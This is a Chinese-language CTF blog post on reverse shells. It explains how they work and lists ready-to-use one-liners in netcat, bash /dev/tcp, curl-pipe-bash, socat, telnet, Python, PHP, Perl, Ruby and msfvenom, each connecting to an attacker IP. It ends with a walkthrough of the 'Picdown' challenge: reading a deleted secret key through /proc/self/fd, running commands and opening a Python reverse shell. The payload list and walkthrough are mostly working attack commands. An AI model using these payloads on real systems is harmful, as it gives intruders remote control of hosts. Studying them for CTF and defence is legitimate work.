Reverse Shell原理及实现方式

文章发布时间:

最后更新时间:

文章总字数:
1.7k

预计阅读时间:
7 分钟

Reverse Shell

基本原理

在ctf题目中,我们基本上遇到的都是linux系统环境,而想获得linux主机的控制权,通常采用反弹shell的方法。

反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。

反弹shell的优点在于不用知道目标机开放的端口和目标机ip,在ctf题目中,通常没有回显的远程命令执行就会采用反弹shell的方法。

实现方式

反弹shell的方式有很多,而具体采用哪种方式,哪种方式会成功,主要取决于目标主机上有什么样的环境以及当前用户有哪些权限,有调用bash的权限就bash弹,有装nc就nc弹,有装python就用python弹,如果题目中有提示,就用这种方法弹,如果没有提示就多试试(~ ̄▽ ̄)~

以下是具体的反弹shell一句话:

netcat

1
2
nc -lvvp 2333 #攻击机
nc 47.xxx.xxx.72 2333 -e /bin/bash #目标机

bash

1
2
nc -lvvp 2333 #攻击机
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 #目标机

curl配合bash反弹shell

借助了linux中的管道,首先在攻击机的web目录里面创建一个index文件(可以是index.php或index.html),内容是bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

接下来在攻击机开启对该端口的监听

然后再在目标机执行curl 47.xxx.xxx.72|bash即可反弹shell,这个ip可以是任意格式的,十进制,十六进制,八进制,二进制等等,可以绕过waf。

Socat

1
2
socat TCP-LISTEN:2333 -或nc -lvvp 2333
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

Telnet

法一

1
2
nc -lvvp 2333
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a

法二

1
2
nc -lvvp 2333nc -lvvp 4000
telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000

攻击机需要开两个本地监听,2333输命令,4000看结果

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

如果无效可以试试改为python3

PHP

1
php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl

1
perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

1
ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'或ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

利用msfvenom生成一句话

1
2
msfvenom -l payloads | grep 'cmd/unix/reverse'
msfvenom -p cmd/unix/reverse_python LHOST=47.xxx.xxx.72 LPORT=2333 -f raw

自行选择生成payload使用

反弹完shell之后可以输入python -c "import pty;pty.spawn('/bin/bash')"来获得模拟终端,从而进行更多操作。

注意事项

由于各个题目千奇百怪的环境,有很多情况下反弹shell并不会成功,主要原因有以下几个

  • 当前用户无权调用bash:无解
  • 禁止出站ip:设置了严格的出站策略,只允许连接到几个公网ip,无解
  • 禁止出站端口:找到允许访问的端口,使用8080或443,大概率都可以,记得在阿里云将安全组设置为允许所有ip访问监听的端口
  • 禁止出站协议:探测允许的协议

例题Picdown

picdown:linux系统信息+反弹shell

url内输入文件路径可以进行文件读取,这里介绍一个补充知识:

正常情况下可以通过/proc/$pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid,在fork、daemon等情况下pid还可能发生变化。

为了更方便的获取本进程的信息,linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid

对应本题,我们首先使用/proc/self/cmdline来看一下曾经执行过什么命令,发现使用python运行过app.py,于是我们可以直接读取app.py看看有什么内容。

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)

@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res

密钥文件已被删除,但是曾经使用过open操作,这时候我们就可以通过访问proc下的fd目录下的文件标签来查看该文件。
fd----包含当前进程打开的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接;

经爆破出fd/3是密钥,于是可以执行系统命令。

无回显命令执行

但是这个页面没有回显,一般无回显的命令执行有两种方法,一种类似sql盲注,而另一种是通过运行特定语句来反弹shell。

反弹Shell,看这一篇就够了-腾讯云开发者社区-腾讯云 (tencent.com)

另外,要注意用url编码再上传,否则很容易漏掉字符导致失败,且需要将自己用来接收shell的端口访问权限完全打开,先nc监听再反弹。

一般使用8080和443来监听,比较容易成功,且利用bash或者其他语言的脚本来运行,这里我们知道目标机使用过python命令,于是我们使用python脚本来反弹shell

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

成功反弹,查看根目录获得flag。